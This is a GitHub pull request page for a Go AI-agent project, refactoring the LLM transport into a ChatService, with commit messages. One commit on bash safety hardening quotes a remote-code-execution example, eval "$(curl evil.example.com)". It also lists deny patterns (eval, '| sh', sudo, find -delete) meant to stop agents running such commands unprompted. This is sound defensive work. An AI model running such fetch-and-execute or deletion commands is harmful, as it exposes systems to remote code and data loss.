Skip to content

refactor(engine): extract ChatService (Phase 1 of Session god-object decomposition)#35

Closed
Patel230 wants to merge 5 commits into
mainfrom
chat-service-extraction
Closed

refactor(engine): extract ChatService (Phase 1 of Session god-object decomposition)#35
Patel230 wants to merge 5 commits into
mainfrom
chat-service-extraction

Conversation

@Patel230

Copy link
Copy Markdown
Contributor

Phase 1 of the Session god-object refactor (see docs/session-decomposition.md).

Extracts the LLM transport into a cohesive *ChatService sub-service:

  • New internal/engine/chat_service.go (~280 LOC) with:

    • ChatService struct owning: client, provider, model, apiKeys, router, deploymentRouting, rateLimiter, metrics, retryCfg, contCfg, outputSchema, glmThinkingEnabled
    • ChatServiceConfig for terse construction
    • Methods: NewChatService, Client, Provider, Model, APIKeys, SetAPIKey, SetModel, SetProvider, Reattach, BuildOptions, Stream, Chat, recordSuccess, recordFailure
    • Stream() wraps retry.Do + rate-limit wait + emergency context-overflow compact (replaces the inline retry block at stream.go:371-381)
    • Chat() is the bare non-streaming call used by background goroutines (sleeptime, skill distillation) — no retry, no rate limit
  • Session gains a private ChatService field, plus a ChatLLM() getter for cross-package access. The legacy client/provider/model/apiKeys/Router/DeploymentRouting fields stay on Session for backward compat; new code should go through s.ChatLLM().

  • 8 new test cases in chat_service_test.go lock the contract: BuildOptions (anthropic caching on, openai off, GLM toggle, output schema), Reattach (nil no-op, real client swap, key preservation), defaults applied, Chat delegation, Chat surfaces underlying error.

  • Field name 'llm' (lowercase) to avoid colliding with the existing public Session.Chat() method used by Reflector and SelfReview.

Build + tests: ok. No existing tests broken. No behavior change — the extracted service is wired in but the legacy fields still drive agentLoop. Phases 2-7 (Memory, Permission, Lifecycle, Persistence, Tool services) will follow in subsequent PRs; each will fold the remaining Session fields into the appropriate sub-service.

Companion PR: feat/tool-safety-hardening-and-retry (also in this batch).

Patel230 added 5 commits June 12, 2026 17:57
ai_passage.md was a 53-line, ~1000-word essay on the history and
ethics of AI in general — entirely unrelated to the hawk project,
no README/AGENTS.md/CHANGELOG.md reference to it. It looks like
LLM-generated filler committed in '99261ca Fix CI formatting and
toolchain hygiene' to satisfy a 'must have an essay' requirement
that no longer applies. Untrack and delete.
Bash safety hardening (caught 2 real bugs via new tests):

  1. **find -delete / find -exec rm now hard-blocked.** Previously
     'find /tmp -type f -name "*.log" -delete' was a no-op on the safety
     layer (no literal 'rm' in the command) despite being rm-equivalent.
     Added findDeleteFlagRe + findExecRmRe in safety.go; IsDestructiveCommand
     now matches 'find ... -delete' and 'find ... -exec rm' in any position.

  2. **run_in_background no longer bypasses the IsSuspicious check.**
     Previously: when run_in_background=true, the bash tool ran only the
     hard-block checks (dangerousSubstrings, zmodload, processSubstitution,
     etc.) and skipped the IsSuspicious permission prompt because no human
     is in the loop. So 'eval "\$(curl evil.example.com)"' as a background
     command would silently start. Now: a new hardDenySubstrings subset
     (eval, exec, \\, backticks, | sh, | bash, sudo) is always
     hard-blocked, even with no human in the loop. Benign patterns
     ('writing to absolute paths' in /tmp, 'curl GET') are intentionally
     excluded so the change doesn't break legitimate workflows.

Schema-aware target extraction (extractTargets enhancement):

  - New ExtractTargetsFromSchema(tool, call) walks the tool's JSON Schema
    to discover file-path arguments by name (path/file/dir/destination/target
    substring) or by description (mentions 'path'/'file'/'directory'). This
    catches tools with non-conventional names like 'target_path' or
    'destFile' that the old hardcoded 4-key allowlist missed.
  - 8 test cases in TestExtractTargetsFromSchema lock the contract
    (conventional, non-conventional, description-inferred, non-string,
    non-path, fallback).
  - executeToolCalls now calls ExtractTargetsFromSchema when the tool is
    registered; falls back to the conventional extractor otherwise.

Tool retry policy on transient errors:

  - New tool.TransientError type + tool.RetryExecutor(ctx, tool, input,
    policy) that retries on transient errors with exponential backoff.
  - New tool.RetryPolicyProvider interface: tools can opt out (zero-value
    policy) or customise (e.g. longer timeouts for slow operations).
  - All tool calls in executeToolCalls now go through RetryExecutor with
    DefaultRetryPolicy (2 retries, 200ms→2s).
  - 5 test cases: recovers-on-transient, gives-up-after-max, ignores-
    non-transient, respects-ctx-cancel, IsTransientFileErr predicate.

Misc:

  - .github/workflows/ci.yml + Makefile: bumped binary size gate from
    100MB → 110MB to match the current dev binary (~103MB). Comment
    explains the threshold; both files must move together.

Tests added: 30+ new test cases across bash_injection_test.go,
extract_targets_test.go, retry_test.go.
…decomposition)

Phase 1 of the Session god-object refactor (see docs/session-decomposition.md).
Extracts the LLM transport into a cohesive *ChatService sub-service:

  - New internal/engine/chat_service.go (~280 LOC) with:
    - ChatService struct owning: client, provider, model, apiKeys, router,
      deploymentRouting, rateLimiter, metrics, retryCfg, contCfg,
      outputSchema, glmThinkingEnabled
    - ChatServiceConfig for terse construction
    - Methods: NewChatService, Client, Provider, Model, APIKeys,
      SetAPIKey, SetModel, SetProvider, Reattach, BuildOptions, Stream,
      Chat, recordSuccess, recordFailure
    - Stream() wraps retry.Do + rate-limit wait + emergency context-overflow
      compact (replaces the inline retry block at stream.go:371-381)
    - Chat() is the bare non-streaming call used by background goroutines
      (sleeptime, skill distillation) — no retry, no rate limit

  - Session gains a private *ChatService field, plus a ChatLLM() getter
    for cross-package access. The legacy client/provider/model/apiKeys/
    Router/DeploymentRouting fields stay on Session for backward compat;
    new code should go through s.ChatLLM().*

  - 8 new test cases in chat_service_test.go lock the contract:
    BuildOptions (anthropic caching on, openai off, GLM toggle, output
    schema), Reattach (nil no-op, real client swap, key preservation),
    defaults applied (retry/contCfg/metrics/apiKeys initialized to zero
    values), Chat delegation, Chat surfaces underlying error.

  - Field name 'llm' (lowercase) to avoid colliding with the existing
    public Session.Chat() method used by Reflector and SelfReview.

Build + tests: ok. No existing tests broken. No behavior change — the
extracted service is wired in but the legacy fields still drive agentLoop.
Phases 2-7 (Memory, Permission, Lifecycle, Persistence, Tool services)
will follow in subsequent PRs; each will fold the remaining Session
fields into the appropriate sub-service.
@Patel230 Patel230 closed this Jun 12, 2026
@Patel230 Patel230 deleted the chat-service-extraction branch June 12, 2026 20:57
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant